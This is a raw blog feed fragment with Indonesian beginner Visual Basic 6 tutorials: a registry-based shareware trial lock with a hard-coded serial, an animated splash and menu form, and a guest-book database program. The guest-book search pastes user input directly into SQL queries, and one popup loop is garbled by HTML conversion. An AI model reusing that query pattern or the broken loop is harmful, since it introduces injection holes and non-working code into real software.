Date)&lt;br /&gt;lresult = SetRegValue(sKey, "lock", "true")&lt;br /&gt;End If&lt;br /&gt;If Option1(1).Value = True Then&lt;br /&gt;sSubkey = "uses"&lt;br /&gt;If Option2(3).Value = True Then sKeyValue1 = 1&lt;br /&gt;If Option2(4).Value = True Then sKeyValue1 = 5&lt;br /&gt;If Option2(5).Value = True Then sKeyValue1 = 10&lt;br /&gt;lresult = SetRegValue(sKey, sSubkey, sKeyValue1)&lt;br /&gt;lresult = SetRegValue(sKey, "value", "1")&lt;br /&gt;lresult = SetRegValue(sKey, "lock", "true")&lt;br /&gt;End If&lt;br /&gt;MsgBox "Lock Made"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;Unload Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;If Option1(0).Value = True Then&lt;br /&gt;Option2(3).Value = False&lt;br /&gt;Option2(4).Value = False&lt;br /&gt;Option2(5).Value = False&lt;br /&gt;End If&lt;br /&gt;CreateRegKey ("\Software\venky\shareware")&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Option1_Click(Index As Integer)&lt;br /&gt;If Option1(0).Value = True Then&lt;br /&gt;Option2(3).Value = False&lt;br /&gt;Option2(4).Value = False&lt;br /&gt;Option2(5).Value = False&lt;br /&gt;End If&lt;br /&gt;If Option1(1).Value = True Then&lt;br /&gt;Option2(0).Value = False&lt;br /&gt;Option2(1).Value = False&lt;br /&gt;Option2(2).Value = False&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Option2_Click(Index As Integer)&lt;br /&gt;If Option2(2).Value = True Then&lt;br /&gt;Option1(1).Value = False&lt;br /&gt;Option1(0).Value = True&lt;br /&gt;End If&lt;br /&gt;If Option2(1).Value = True Then&lt;br /&gt;Option1(1).Value = False&lt;br /&gt;Option1(0).Value = True&lt;br /&gt;End If&lt;br /&gt;If Option2(0).Value = True Then&lt;br /&gt;Option1(1).Value = False&lt;br /&gt;Option1(0).Value = True&lt;br /&gt;End If&lt;br /&gt;If Option2(3).Value = True Then&lt;br /&gt;Option1(0).Value = False&lt;br /&gt;Option1(1).Value = True&lt;br /&gt;End If&lt;br /&gt;If Option2(4).Value = True Then&lt;br /&gt;Option1(0).Value = False&lt;br /&gt;Option1(1).Value = True&lt;br /&gt;End If&lt;br /&gt;If Option2(5).Value = True Then&lt;br /&gt;Option1(0).Value = False&lt;br /&gt;Option1(1).Value = True&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;'main form testshareware&lt;br /&gt;&lt;br /&gt;Dim op4 As Integer&lt;br /&gt;Dim op1 As String&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;Unload Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Activate()&lt;br /&gt;Dim lresult As Long&lt;br /&gt;Dim sKeyValue As String&lt;br /&gt;Dim op3 As Integer&lt;br /&gt;Dim op As String&lt;br /&gt;Dim op9 As Date&lt;br /&gt;Dim op8 As Date&lt;br /&gt;Dim op10 As Date&lt;br /&gt;Dim op11 As String&lt;br /&gt;lresult = GetRegValue("\Software\venky\shareware", "lock", sKeyValue)&lt;br /&gt;If sKeyValue = "false" Then&lt;br /&gt;Label1.Caption = "Registered Copy'"&lt;br /&gt;Exit Sub&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;lresult = GetRegValue("\Software\venky\shareware", "days", sKeyValue)&lt;br /&gt;If Not sKeyValue = "" Then&lt;br /&gt;op = sKeyValue&lt;br /&gt;op9 = op&lt;br /&gt;op8 = Date&lt;br /&gt;lresult = GetRegValue("\Software\venky\shareware", "value", sKeyValue)&lt;br /&gt;op11 = sKeyValue&lt;br /&gt;op10 = op11&lt;br /&gt;If op10 &gt; op8 Then&lt;br /&gt;frmregister.Show&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;If op8 &lt; op9 Then&lt;br /&gt;Label1.Caption = (op9 - op8) &amp;amp; " days left"&lt;br /&gt;Exit Sub&lt;br /&gt;Else&lt;br /&gt;frmregister.Show&lt;br /&gt;End If&lt;br /&gt;Else&lt;br /&gt;lresult = GetRegValue("\Software\venky\shareware", "uses", sKeyValue)&lt;br /&gt;op = sKeyValue&lt;br /&gt;op3 = Val(op)&lt;br /&gt;If op3 = 0 Then&lt;br /&gt;MsgBox "Make A Lock First"&lt;br /&gt;Unload frmmain&lt;br /&gt;End If&lt;br /&gt;lresult = GetRegValue("\Software\venky\shareware", "value", sKeyValue)&lt;br /&gt;op1 = sKeyValue&lt;br /&gt;op4 = Val(op1)&lt;br /&gt;If op4 &lt;= op3 Then&lt;br /&gt;Label1.Caption = "This Program has been run " &amp;amp; op1 &amp;amp; " times from a maximum of " &amp;amp; op3 &amp;amp; " times"&lt;br /&gt;Dim op2 As String&lt;br /&gt;op4 = op4 + 1&lt;br /&gt;op2 = op4&lt;br /&gt;lresult = SetRegValue("\Software\venky\shareware", "value", op2)&lt;br /&gt;Else&lt;br /&gt;frmregister.Show&lt;br /&gt;End If&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;'main form register&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;If Text1.Text = "" Then&lt;br /&gt;MsgBox "Please Enter Serial no"&lt;br /&gt;Exit Sub&lt;br /&gt;End If&lt;br /&gt;If Text1.Text = "a1234" Then&lt;br /&gt;Dim lresult As Long&lt;br /&gt;lresult = SetRegValue("\Software\venky\shareware", "lock", "false")&lt;br /&gt;If lresult = o Then MsgBox "Registration Successful"&lt;br /&gt;Unload Me&lt;br /&gt;frmmain.Show&lt;br /&gt;Else: MsgBox "Bad Serial No"&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;Unload Me&lt;br /&gt;Unload frmmain&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Silakan coba praktekan, untuk module penulis lampirkan pada sourcecode yang bisa didownload &lt;a href="http://www.ziddu.com/download/2897842/shareware.zip.html"&gt;disini&lt;/a&gt;&lt;br /&gt;&lt;img src="file:///C:/DOCUME%7E1/gw_mlg/LOCALS%7E1/Temp/moz-screenshot.jpg" alt="" /&gt;&lt;img src="file:///C:/DOCUME%7E1/gw_mlg/LOCALS%7E1/Temp/moz-screenshot-1.jpg" alt="" /&gt;&lt;img src="file:///C:/DOCUME%7E1/gw_mlg/LOCALS%7E1/Temp/moz-screenshot-2.jpg" alt="" /&gt;&lt;img src="file:///C:/DOCUME%7E1/gw_mlg/LOCALS%7E1/Temp/moz-screenshot-3.jpg" alt="" /&gt;&lt;img src="file:///C:/DOCUME%7E1/gw_mlg/LOCALS%7E1/Temp/moz-screenshot-4.jpg" alt="" /&gt;&lt;img src="file:///C:/DOCUME%7E1/gw_mlg/LOCALS%7E1/Temp/moz-screenshot-5.jpg" alt="" /&gt;&lt;img src="file:///C:/DOCUME%7E1/gw_mlg/LOCALS%7E1/Temp/moz-screenshot-6.jpg" alt="" /&gt;&lt;img src="file:///C:/DOCUME%7E1/gw_mlg/LOCALS%7E1/Temp/moz-screenshot-7.jpg" alt="" /&gt;&lt;img src="file:///C:/DOCUME%7E1/gw_mlg/LOCALS%7E1/Temp/moz-screenshot-8.jpg" alt="" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-3350015689417960063?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/3350015689417960063/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=3350015689417960063' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/3350015689417960063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/3350015689417960063'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/12/program-expired-atau-shareware.html' title='Program Expired atau Shareware'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_eGS0YABgxQo/SUDlnn0GUbI/AAAAAAAAACo/Skv7_P1Ea2o/s72-c/share.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-7557913570373408840</id><published>2008-12-11T15:08:00.005+07:00</published><updated>2008-12-11T16:08:13.169+07:00</updated><title type='text'>Tampilan Menu yang kereen Abezz...</title><content type='html'>Membuat program agar tampil lebih menawan dan mempunyai daya jual tinggi adalah harapan semua programmer, nah semua itu terletak bagaimana tingkat kerumitan dari program tersebut dibuat, semakin rumit rumus atau logika yang dibuat semakin mahal harga jualnya, Namun tampilan dari suatu program adalah tolak ukur bagi kaum awam yang membeli program yang kita buat.Jika tampilan program yang kita buat tampil menawan meskipun tidak serumit rumus dan logikanya maka harga jualnya juga bisa jadi tinggi. Nah contoh berikut penulis membuat desain form yang menarik plus animasinya...mungkin bisa dijadikan referensi bagi vbthok mania.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_eGS0YABgxQo/SUDYT-uu_VI/AAAAAAAAACg/8vIuLWLVYGU/s1600-h/splash.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 150px;" src="http://4.bp.blogspot.com/_eGS0YABgxQo/SUDYT-uu_VI/AAAAAAAAACg/8vIuLWLVYGU/s320/splash.bmp" alt="" id="BLOGGER_PHOTO_ID_5278456601046351186" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://s103.photobucket.com/albums/m144/depris/?action=view&amp;amp;current=menu.jpg" target="_blank"&gt;&lt;img src="http://i103.photobucket.com/albums/m144/depris/menu.jpg" alt="Photobucket" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Untuk code scriptnya sperti dibawah ini&lt;br /&gt;&lt;br /&gt;'untuk main formnya&lt;br /&gt;Option Explicit&lt;br /&gt;Dim mlaku As String&lt;br /&gt;Dim mulai As Integer&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub MDIForm_Activate()&lt;br /&gt;mulai = 0&lt;br /&gt;mlaku = "S E L A M A T   D A T A N G"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer1_Timer()&lt;br /&gt;Dim sent As String&lt;br /&gt;mulai = mulai + 1&lt;br /&gt;If mulai &gt; Len(mlaku) Then&lt;br /&gt;mulai = 1&lt;br /&gt;logo.Caption = ""&lt;br /&gt;End If&lt;br /&gt;sent = sent + Mid(mlaku, mulai, 1)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;logo.Caption = logo.Caption + sent&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub MDIForm_Load()&lt;br /&gt;   With RupaToolbar&lt;br /&gt;       .ImageList = ImageList1&lt;br /&gt;       .Buttons.Item(1).Image = 4&lt;br /&gt;       .Buttons.Item(2).Image = 1&lt;br /&gt;       .Buttons.Item(3).Image = 15&lt;br /&gt;     &lt;br /&gt;       .Buttons.Item(5).Image = 3&lt;br /&gt;       .Buttons.Item(6).Image = 11&lt;br /&gt;       .Buttons.Item(7).Image = 14&lt;br /&gt;       .Buttons.Item(8).Image = 13&lt;br /&gt;       .Buttons.Item(9).Image = 10&lt;br /&gt;     &lt;br /&gt;       .Buttons.Item(11).Image = 16&lt;br /&gt;       .Buttons.Item(12).Image = 7&lt;br /&gt;       .Buttons.Item(13).Image = 12&lt;br /&gt;       .Buttons.Item(14).Image = 2&lt;br /&gt;     &lt;br /&gt;       .Buttons.Item(16).Image = 8&lt;br /&gt;   End With&lt;br /&gt; &lt;br /&gt;   'set toolbar status&lt;br /&gt;   RupaToolbar.Visible = GetSetting("Bar", "MDI", "RupaToolbar.Visible", True)&lt;br /&gt;   mnuShowToolbar.Checked = GetSetting("Bar", "MDI", "RupaToolbar.Visible", True)&lt;br /&gt;   mnuAgent.Checked = GetSetting("Bar", "MDI", "mnuAgent.Checked", True)&lt;br /&gt;&lt;br /&gt;   Call Init&lt;br /&gt; &lt;br /&gt;   'Initialize Agent&lt;br /&gt;   MyAgent.Characters.Load "Merlin", "Merlin.Acs"&lt;br /&gt;   Set myCharacter = MyAgent.Characters("Merlin")&lt;br /&gt; &lt;br /&gt;   myCharacter.SoundEffectsOn = True&lt;br /&gt; &lt;br /&gt;   showMerlin&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub MDIForm_Unload(Cancel As Integer)&lt;br /&gt;   End&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuAcct_Click()&lt;br /&gt;   frmAccounts.Show 1&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuAgent_Click()&lt;br /&gt;   mnuAgent.Checked = Not mnuAgent.Checked&lt;br /&gt; &lt;br /&gt;   SaveSetting "Bar", "MDI", "mnuAgent.Checked", mnuAgent.Checked&lt;br /&gt;   showMerlin&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuBilling_Click()&lt;br /&gt;   frmSales.Show&lt;br /&gt; &lt;br /&gt;   frmSales.Top = GetSetting("Bar", "frmSales", "Top", (frmMain.Height - frmSales.Height) / 3)&lt;br /&gt;   frmSales.Left = GetSetting("Bar", "frmSales", "Left", (frmMain.Width - frmSales.Width) / 2)&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuBillingMonitor_Click()&lt;br /&gt;   frmBillingMonitor.Show&lt;br /&gt; &lt;br /&gt;   frmBillingMonitor.Top = GetSetting("Bar", "frmBillingMonitor", "Top", (frmMain.Height - frmBillingMonitor.Height) / 3)&lt;br /&gt;   frmBillingMonitor.Left = GetSetting("Bar", "frmBillingMonitor", "Left", (frmMain.Width - frmBillingMonitor.Width) / 2)&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuCurrBal_Click()&lt;br /&gt;   Dim vAcctName As String&lt;br /&gt;   Dim vMsg As String&lt;br /&gt;   Dim vAcctNo As Integer&lt;br /&gt;   Dim vCurrBal As Single&lt;br /&gt; &lt;br /&gt;   vAcctNo = frmFind.getKey("Accounts", "AcctName")&lt;br /&gt; &lt;br /&gt;   If vAcctNo = -1 Then Exit Sub&lt;br /&gt; &lt;br /&gt;   vAcctName = getAcctDetailsByCode(vAcctNo)!AcctName&lt;br /&gt;   vCurrBal = getAcctBalance(vAcctNo)&lt;br /&gt; &lt;br /&gt;   vMsg = vAcctName &amp;amp; " Has a Balance of Rs : " &amp;amp; IIf(vCurrBal &gt; 0, Format(Abs(vCurrBal), "0.00") &amp;amp; " Dr", Format(Abs(vCurrBal), "0.00") &amp;amp; " Cr")&lt;br /&gt;   Merlin vMsg, "Read"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuInward_Click()&lt;br /&gt;   ShowInCentre frmInward&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuLedger_Click()&lt;br /&gt;   ShowInCentre frmLedger&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuLoose_Click()&lt;br /&gt;   frmLoose.Show 1&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuPayment_Click()&lt;br /&gt;   frmVoucher.Init ("Payment")&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuProduct_Click()&lt;br /&gt;   frmProducts.Show 1&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuProductUpdate_Click()&lt;br /&gt;   ShowInCentre frmProductsUpdate&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuQuit_Click()&lt;br /&gt;   End&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuReceipt_Click()&lt;br /&gt;   frmVoucher.Init ("Receipt")&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuSalesSummary_Click()&lt;br /&gt;   frmDates.Show 1&lt;br /&gt;   If datesSelected Then ShowInCentre frmSalesSummary&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuShowToolbar_Click()&lt;br /&gt;   RupaToolbar.Visible = Not RupaToolbar.Visible&lt;br /&gt;   mnuShowToolbar.Checked = Not mnuShowToolbar.Checked&lt;br /&gt; &lt;br /&gt;   SaveSetting "Bar", "MDI", "RupaToolbar.Visible", RupaToolbar.Visible&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnuStock_Click()&lt;br /&gt;   Call initDtEnv&lt;br /&gt;   rptStock.Show&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub RupaToolbar_ButtonClick(ByVal Button As MSComctlLib.Button)&lt;br /&gt;   Select Case Button.Key&lt;br /&gt;       Case "Accounts"&lt;br /&gt;       mnuAcct_Click&lt;br /&gt;     &lt;br /&gt;       Case "Products"&lt;br /&gt;       mnuProduct_Click&lt;br /&gt;     &lt;br /&gt;       Case "Update_Products"&lt;br /&gt;       mnuProductUpdate_Click&lt;br /&gt;     &lt;br /&gt;       Case "Sales"&lt;br /&gt;       mnuBilling_Click&lt;br /&gt;     &lt;br /&gt;       Case "Inward"&lt;br /&gt;       mnuInward_Click&lt;br /&gt;     &lt;br /&gt;       Case "Receipt"&lt;br /&gt;       mnuReceipt_Click&lt;br /&gt;     &lt;br /&gt;       Case "Payment"&lt;br /&gt;       mnuPayment_Click&lt;br /&gt;     &lt;br /&gt;       Case "Loose"&lt;br /&gt;       mnuLoose_Click&lt;br /&gt;     &lt;br /&gt;       Case "Ledger"&lt;br /&gt;       mnuLedger_Click&lt;br /&gt;     &lt;br /&gt;       Case "Stock"&lt;br /&gt;       mnuStock_Click&lt;br /&gt;     &lt;br /&gt;       Case "Sales_Summary"&lt;br /&gt;       mnuSalesSummary_Click&lt;br /&gt;     &lt;br /&gt;       Case "Billing_Monitor"&lt;br /&gt;       mnuBillingMonitor_Click&lt;br /&gt;     &lt;br /&gt;       Case "Quit"&lt;br /&gt;       mnuQuit_Click&lt;br /&gt;   End Select&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;' untuk form splash nya&lt;br /&gt;'Software license by www.Vbthok.co.cc&lt;br /&gt;'Programmer by ToMee&lt;br /&gt;'2008&lt;br /&gt;&lt;br /&gt;Option Explicit&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer1_Timer()&lt;br /&gt;       Static count As Integer&lt;br /&gt;       count = count + 1&lt;br /&gt;     &lt;br /&gt;       If count = 1 Then&lt;br /&gt;           lblDisp = "Software Initialized ..."&lt;br /&gt;             &lt;br /&gt;       ElseIf count = 2 Then&lt;br /&gt;           lblDisp = "Menyiapkan Database ..."&lt;br /&gt;         &lt;br /&gt;       ElseIf count = 3 Then&lt;br /&gt;           lblDisp = "Menyiapkan Aplikasi..."&lt;br /&gt;     &lt;br /&gt;       ElseIf count = 4 Then&lt;br /&gt;           lblDisp = "Wait..."&lt;br /&gt;       &lt;br /&gt;       ElseIf count = 5 Then&lt;br /&gt;           Timer1.Enabled = False&lt;br /&gt;           Unload Me&lt;br /&gt;           frmMain.Show&lt;br /&gt;           frmWelcome.Show&lt;br /&gt;       End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;'untuk form welcome nya&lt;br /&gt;'Software license by www.Vbthok.co.cc&lt;br /&gt;'Programmer by ToMee&lt;br /&gt;'2008&lt;br /&gt;&lt;br /&gt;Option Explicit&lt;br /&gt;&lt;br /&gt;Private Sub Form_Activate()&lt;br /&gt;   lblTime = "Login Time : " &amp;amp; Time&lt;br /&gt;   lblDate = Format(Date, "dd-MMM-yyyy")&lt;br /&gt; &lt;br /&gt;   Call popUp&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;   Me.Left = Screen.Width - (Me.Width + 60)&lt;br /&gt;   Me.Top = Screen.Height - 600 'assumed height for taskbar&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub popUp()&lt;br /&gt;   Dim h As Integer&lt;br /&gt; &lt;br /&gt;   h = Me.Height&lt;br /&gt;   Me.Height = 0&lt;br /&gt; &lt;br /&gt;   While Me.Height &lt; height =" Me.Height" top =" Me.Top"&gt; 0&lt;br /&gt;       Me.Height = Me.Height - 1&lt;br /&gt;       Me.Top = Me.Top + 1&lt;br /&gt;       DoEvents&lt;br /&gt;   Wend&lt;br /&gt;   Unload Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer1_Timer()&lt;br /&gt;   popDown&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Silakan dicoba dan silakan lihat hasilnya..keren kan?Untuk fungsi modul2nya silakan diliat sendiri dalam paket sorce code yang bisa didownload &lt;a href="http://www.ziddu.com/download/2896983/DesainForm.zip.html"&gt;disini&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-7557913570373408840?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/7557913570373408840/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=7557913570373408840' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/7557913570373408840'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/7557913570373408840'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/12/tampilan-menu-yang-kereen-abezz.html' title='Tampilan Menu yang kereen Abezz...'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_eGS0YABgxQo/SUDYT-uu_VI/AAAAAAAAACg/8vIuLWLVYGU/s72-c/splash.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-8926597843201944919</id><published>2008-12-10T13:22:00.005+07:00</published><updated>2008-12-10T13:57:30.672+07:00</updated><title type='text'>Membuat Buku Tamu</title><content type='html'>Program Buku Tamu ini dibuat penulis untuk memberikan contoh kepada vbthok mania supaya dapat mengembangkan ide dari program yang sudah dicontohkan, Bagi yang berpengalaman maaf ini hanya untuk pemula..hehehe...&lt;br /&gt;Tampilan sekilas previewnya seperti ini&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_eGS0YABgxQo/ST9j8_EmsOI/AAAAAAAAACY/Q1bl9bKHE9U/s1600-h/bku_tamu.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 179px;" src="http://3.bp.blogspot.com/_eGS0YABgxQo/ST9j8_EmsOI/AAAAAAAAACY/Q1bl9bKHE9U/s320/bku_tamu.bmp" alt="" id="BLOGGER_PHOTO_ID_5278047187675558114" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;dan berikut scriptnya :&lt;br /&gt;&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;If (Text1.Text &lt;&gt; "") And (Text2.Text &lt;&gt; "") And (Text3.Text &lt;&gt; "") _&lt;br /&gt;And (Text4.Text &lt;&gt; "") Then&lt;br /&gt;Adodc1.RecordSource = "select * from buku"&lt;br /&gt;Adodc1.Refresh&lt;br /&gt;With Adodc1.Recordset&lt;br /&gt;.AddNew&lt;br /&gt;!nama = Text1.Text&lt;br /&gt;!alamat = Text2.Text&lt;br /&gt;!pekerjaan = Text3.Text&lt;br /&gt;!tlp = Text4.Text&lt;br /&gt;.Update&lt;br /&gt;End With&lt;br /&gt;Text1.Text = ""&lt;br /&gt;Text2.Text = ""&lt;br /&gt;Text3.Text = ""&lt;br /&gt;Text4.Text = ""&lt;br /&gt;Text1.SetFocus&lt;br /&gt;Else&lt;br /&gt;MsgBox "data yang anda isi belum lengkap !", vbInformation + vbOKOnly, "Simpan"&lt;br /&gt;Text1.SetFocus&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;If Frame4.Left = 0 Then&lt;br /&gt;Timer4.Enabled = True&lt;br /&gt;If Frame3.Left = 7800 Then Timer1.Enabled = True&lt;br /&gt;Else&lt;br /&gt;If Frame3.Left = 7800 Then Timer1.Enabled = True&lt;br /&gt;End If&lt;br /&gt;Text1.Text = ""&lt;br /&gt;Text2.Text = ""&lt;br /&gt;Text3.Text = ""&lt;br /&gt;Text4.Text = ""&lt;br /&gt;Text1.SetFocus&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command3_Click()&lt;br /&gt;If Frame3.Left = 0 Then&lt;br /&gt;Timer2.Enabled = True&lt;br /&gt;If Frame4.Left = 7800 Then Timer3.Enabled = True&lt;br /&gt;Else&lt;br /&gt;If Frame4.Left = 7800 Then Timer3.Enabled = True&lt;br /&gt;End If&lt;br /&gt;Adodc1.RecordSource = "select * from buku order by nama"&lt;br /&gt;Adodc1.Refresh&lt;br /&gt;Combo1.ListIndex = 0&lt;br /&gt;Combo1.SetFocus&lt;br /&gt;Text5.Text = ""&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command4_Click()&lt;br /&gt;End&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command5_Click()&lt;br /&gt;If Frame4.Left = 0 Then&lt;br /&gt;Timer4.Enabled = True&lt;br /&gt;If Frame3.Left = 0 Then Timer1.Enabled = True&lt;br /&gt;End If&lt;br /&gt;If Frame3.Left = 0 Then&lt;br /&gt;Timer2.Enabled = True&lt;br /&gt;If Frame4.Left = 0 Then Timer3.Enabled = True&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;Timer1.Enabled = False&lt;br /&gt;Timer2.Enabled = False&lt;br /&gt;Timer3.Enabled = False&lt;br /&gt;Timer4.Enabled = False&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Text5_Change()&lt;br /&gt;If Combo1.ListIndex = 0 Then&lt;br /&gt;Adodc1.RecordSource = "select * from buku where nama like'%" &amp;amp; _&lt;br /&gt;Text5.Text &amp;amp; "%'"&lt;br /&gt;Adodc1.Refresh&lt;br /&gt;&lt;br /&gt;ElseIf Combo1.ListIndex = 1 Then&lt;br /&gt;Adodc1.RecordSource = "select * from buku where alamat like'%" &amp;amp; _&lt;br /&gt;Text5.Text &amp;amp; "%'"&lt;br /&gt;Adodc1.Refresh&lt;br /&gt;&lt;br /&gt;ElseIf Combo1.ListIndex = 2 Then&lt;br /&gt;Adodc1.RecordSource = "select * from buku where pekerjaan like'%" &amp;amp; _&lt;br /&gt;Text5.Text &amp;amp; "%'"&lt;br /&gt;Adodc1.Refresh&lt;br /&gt;&lt;br /&gt;ElseIf Combo1.ListIndex = 3 Then&lt;br /&gt;Adodc1.RecordSource = "select * from buku where tlp like'%" &amp;amp; _&lt;br /&gt;Text5.Text &amp;amp; "%'"&lt;br /&gt;Adodc1.Refresh&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer1_Timer()&lt;br /&gt;Frame3.Left = Frame3.Left - 100&lt;br /&gt;If Frame3.Left = 0 Then Timer1.Enabled = False&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer2_Timer()&lt;br /&gt;Frame3.Left = Frame3.Left + 100&lt;br /&gt;If Frame3.Left = 7800 Then Timer2.Enabled = False&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer3_Timer()&lt;br /&gt;Frame4.Left = Frame4.Left - 100&lt;br /&gt;If Frame4.Left = 0 Then Timer3.Enabled = False&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer4_Timer()&lt;br /&gt;Frame4.Left = Frame4.Left + 100&lt;br /&gt;If Frame4.Left = 7800 Then Timer4.Enabled = False&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;so, mudah bukan...silakan kalian kembangkan sendiri..thanks&lt;br /&gt;Lagi lagi yang gak mo ribet silakan download &lt;a href="http://www.ziddu.com/download/2885633/bukutamu.zip.html"&gt;disini&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 